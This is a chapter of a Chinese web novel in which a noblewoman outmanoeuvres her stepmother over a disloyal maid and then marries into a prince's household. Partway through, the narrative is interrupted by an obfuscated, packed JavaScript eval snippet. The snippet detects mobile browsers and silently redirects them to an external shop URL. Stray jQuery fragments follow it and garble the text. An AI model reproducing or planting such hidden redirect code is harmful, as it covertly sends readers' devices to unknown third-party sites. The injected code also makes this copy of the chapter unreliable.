文趣网 > 都市小说 > 我在古代割韭菜 > 2. 大婚
    宜湄将事办妥。

    大婚当日,崔攸宜头顶九树花钗,外着满绣九等翟纹的青织金褕翟大袖袍,脸上带着恰到好处的羞怯,送走梳头傅姆和两名贵女。

    她问清昭沄今日行径,见在预料之中,面色便从羞怯转为愤怒。

    她冷着脸,等昭沄走进内房,崔攸宜急声道:“你怎么不去找我二姐姐了?”

    “姑娘这是什么意思?”昭沄心虚。

    “还不知悔改。”崔攸宜扭头闭目,失望地说:“既然如此,你就退下去,等到了郡王府,我再好好想想怎么处置你。”

    其余侍女们斜眼睨视昭沄,暗含讥笑,她摸了摸脸,讪讪退出内房。

    书禾得了崔攸宜的吩咐,快步跟上。

    就见昭沄将一沓喜帕丢到地上,愤恨地用脚碾了几下。

    “一些趋炎附势的小人。”书禾有意奉承她,拉她去院墙旁石桌坐下哄着,“昭沄姐姐别生气了。”

    两人各有心事,昭沄先展露不耐,小声向书禾探听消息。

    “你知道姑娘怎么了吗?”她拿帕子蘸在眼角,委屈道:“还没进郡王府,还不是王妃,就耍起威风来了!”

    书禾面露难色,缓缓开口道:“姑娘说,你天不亮就跑到二姑娘那儿,哭着求着要继续侍奉在二姑娘身边,那就如你的愿。”

    昭沄闻言,举帕的手停住,面上泛起喜色,她很快敛眸,狡辩道:“待我随姑娘入郡王府后,怕是再难见二姑娘一面了,我想到这儿,情难自禁,于是才……”

    “姑娘是藩王妃,不能去边北。”

    昭沄独自沉浸在自己悲伤的情绪里,答非所问:“不过是水往低处流,人往高处走。”

    “王妃的身份你也瞧不上?”书禾语气越来越恶劣,把她的情绪彻底噎在喉中,逼她释放敌意。

    “王妃能怎样?郡王命不久矣,我要陪她在郡王府守寡?”

    “当初圣旨赐婚的是二姑娘,真正的高门贵女!嫡女!要是和郡王府的这门亲事好,怎么圣旨下达前,二姑娘忽然病了?”

    “接着府里硬是毁了姑娘给神策军宦官当续弦的婚约,也要将姑娘记到夫人名下,报给宫里。”

    “这处处可疑,你瞎了吗?”

    昭沄出言语速越来越快,咄咄逼人。

    见书禾冷脸,却不反驳,她拢了下鬓边散发:“我不是瞧不起姑娘,只是后宅钩心斗角,姑娘性子软糯,又没有男人依靠,不会好过。”

    说完,她肩膀微微耸动,哼笑两声,出言挑拨:“众侍女中,姑娘只青睐宜湄,你我怕是没出头那日。”

    书禾出声回怼:“我不似你知道的事多,我只知道做婢子的本分是尽心侍奉,不是先算计将来有没有好处。”

    昭沄敢将心里话讲出去,便不怕她,冷笑道:“算计什么?我又没犯什么错事,姑娘想罚,还得顾全母女、姐妹的情面。”

    “好野的心思,罚你用得着看情面?”

    “林嬷嬷?”昭沄脸色猝然转白,回身见裴夫人眯眼盯着她。

    昭沄和书禾一同被押住,裴夫人唤来一名侍女令道:“你去七姑娘那,先把方才听见的事禀告给她,再说昭沄和书禾都是她奁中之人,此事就由她处置。”

    昭沄垂泪看向夫人身后的姨母,毕竟血浓于水,昭沄姨母壮胆:“夫人,她原是二姑娘院里出来的家生子……”

    裴夫人已至内房,闻言并不在意:“情分归情分,规矩归规矩。心不在此处,强行留下,跟去郡王府,等着招祸罢了。”

    “母亲说的是。”崔攸宜点头应和,然后面带忧色,“昭沄原是二姐姐院里的,又是母亲特意调拨予我,我不便擅断其去处,除却她陪嫁名分后,还是交由母亲带回处置吧。”

    “就是劳烦母亲,趁尚未抬妆,奁簿正本未封,剔除昭沄奁籍,另誊新册。”

    “这不麻烦。”

    见裴夫人答应得异常爽快,崔攸宜有些意外,果然她转瞬话锋一转:“你心性过于纯善,已不是第一次放纵手下婢子妄言无度。上次宜湄,这次昭沄,这还是我看见的时候。”

    “既然你人事调度上还差火候,奁簿空缺的陪嫁人选,我便替你拿主意了。”

    崔攸宜有自己的算计,自然不能让她如愿,出言拒绝:“女儿已有人选。”

    “谁?”裴夫人目光炯炯压过来。

    “是母亲身边的听夏。”

    见裴夫人疑色更深,她解释:“母亲素来擅长调教下人,林嬷嬷办事就干净利落。我想着听夏是林嬷嬷的干女儿,又常带在身边教导,定是可用之人,才动心思。”

    她声音越来越低,见裴夫人面色越来越不善,最后支支吾吾地说:“其实是听夏在母亲身边的账房当差,我想着……这彩云堂的账簿就交给她了。”

    “原来是有这样的私心。”裴夫人见她坦言,神色放松,“我已将听夏许给三郎当通房。”

    “这……是我失言。”

    “不怪你。”裴夫人仔细观察她的神色,见她闻言瞪开双目,张口惊讶,才放心改了主意,“三郎那边没你要紧,一个侍女而已。”

    “多谢母亲。”崔攸宜面露喜色。

    “今日大婚,我行程安排极满,原本是想找你叮嘱婚后事宜,谁承想发生变故。”这话说完,裴夫人垂眸若有所思,很快抬眼,见她情绪浮于面上,轻笑一声,“时间到了,我得去外面招待宾客。”

    崔攸宜身着嫁衣,送她到房外,裴夫人连连摆手。

    “夫人竟答应得如此轻易。”宜湄轻声,不敢置信,“还以为要大战一场。”

    “我特意选在今日,就是赌事发突然,她一时间想不到可用的人顶上。”

    崔攸宜摇扇,揣摩裴夫人的心思后,轻笑一声:“昭沄刚开始往二姐姐院里走动,母亲见能遮掩二姐姐逃府一事,就放任了。现在见昭沄的心思活络起来,又觉得是隐患,自然要急着处置了。”

    “母亲既已入局,只能顺水推舟。”她握紧扇柄,“只是留给我们行事的时间太少,恐母亲察觉了。”

    “那倒不打紧,左右我们今日就离开国公府了。"宜湄忧心忡忡,“那听夏难保不是下一个昭沄,她爹娘兄弟可都在府里当差,林嬷嬷又是她干娘。”

    崔攸宜从窗缝窥探院内情况,闻言无奈道:“唉,人不为己,天诛地灭,且看着吧。”

    奁册誊好,抬妆启行。

    一路红布铺道,仪仗引路,鼓乐轻奏,浩浩荡荡送入郡王府。昏时,郡王府亲迎,新郎昏迷,未至国公府,自然就没有催妆、下婿的趣味。

    崔攸宜身旁有喜婆引导礼仪,她拜别父母,又停在原地深深看着他们,裴夫人忍不住抬手摸了下脸颊,崔国公注意力全在周围宾客的身份上。

    她面无表情,抬起却扇,彻底挡住面容。

    “姑娘,出了这国公府的门,再见就不一样了。”喜婆笑得满脸褶。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968216|214591||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “的确不一样了。”她贪婪地扫视门外青砖、红瓦、宾客,只觉得颜色炫目,抬头看天空也不似困在院里时灰扑扑的,日光刺目,眼神迷醉。

    那喜婆甩着帕子扶她,等她迈脚踏出门槛,解释道:“出了这门,就不是国公府的姑娘,而是郡王妃,是宗室命妇,国公夫妇得跟你行礼了。”

    崔攸宜闻言耳边嗡鸣一声,心脏砰砰跳。

    迅速调整好状态,她在车厢内,听外面喜婆扬声道:“登车履吉!”

    行至郡王府,举却扇挡面,用余光瞥见廊下男女分席。

    东廊是女宾席,一众华服女眷,国公夫人、郡夫人、宗室县主、郡君端坐,珠翠闪烁,神态高傲。

    男宾席上,紫袍、绯袍错落,当朝国公、开国勋臣、朝廷重臣、世家权贵尽入眼底。

    她情绪难以压下,唇角扬起,入青庐。

    青庐四围垂落的幔帐隔绝宾客的窥探,礼乐声入耳,礼官朗声唱道:“合卺为礼,两姓相合,永结同盟。”

    崔攸宜执匏自饮,仰头的动作干脆利落,将酒液一饮而尽,没有半分新嫁娘的局促羞赧。

    只是,她似有所感,一双凤眼微凌,眸光湛亮清透,忽盯向角落。

    角落,肿鼻丰唇、皮肤黝黑的礼官倏然敛去面上的神色,垂首敛眸。

    崔攸宜盯了一会儿,觉得这礼官虽然容貌不佳,但身段气质俱全,其余倒没有问题,便兴致寥寥收回视线。

    礼毕,她淡定自若,带着成群侍女回新房。

    宜湄已经上手为她拆卸花钗,面露不耐地朝众侍女训斥:“都愣着干什么?该取水、擦拭的动手啊。”

    一众侍女像是找到主心骨,纷纷散开。

    “昭沄走后,她们倒是木讷不少。”

    “是怕了,她们之前觉得自己是陪嫁,王妃你捏着鼻子也得用,便愈发张狂。”

    宜湄神色从不屑过渡到担忧:“婚仪繁琐,姑娘今日累了吧。”

    “我现在只觉得有一身力气使不出来,心躁得慌。”崔攸宜容光焕发,思索后,“拿彩云堂的账簿过来吧。”

    “这么晚了。”宜湄一边劝,一边拿出账簿交给她。

    她翻开账簿,逐行查阅:“国公府是看似风光,实则给的嫁妆全是虚的,若彩云堂的收入再跌,那我们的生活难过了。”

    “不怕,利钱三十两是给裴夫人看的,实则彩云堂生意更好,有五十两,一年下来能买间小宅院呢。”

    “最好的时候可有一百多两。”崔攸宜捧着账簿起身,在屋内缓缓踱步。

    宜湄紧张起来:“那倒也是,不过仔细想想,那时候是春闱,举子云集,大批量买纸写诗交际,才有这个数。”

    “这些举子少有一搏既中,大多数选择留居长安,准备下一年春闱,免不得需要彩笺社交。”崔攸宜皱眉,认为这不是主因。

    “现在也有很多纸铺学彩云堂的法子,售卖小幅笺纸,可能也有这个原因?”

    “彩云堂的彩笺经过了工艺改良,在质量、书写体验上是独一份,价格也压得低,不会下跌这么快。”

    “那,那我明日去彩云堂看看吧。”宜湄面露纠结,出言安排。

    “等明日入宫谢恩,我们挑个日子,一起去。”

    “可姑娘你出不去……”

    宜湄声音渐渐弱下去,然后忽地拔高,牵着她的手,兴奋地跳起来:“姑娘已经出阁,现在是王妃了!”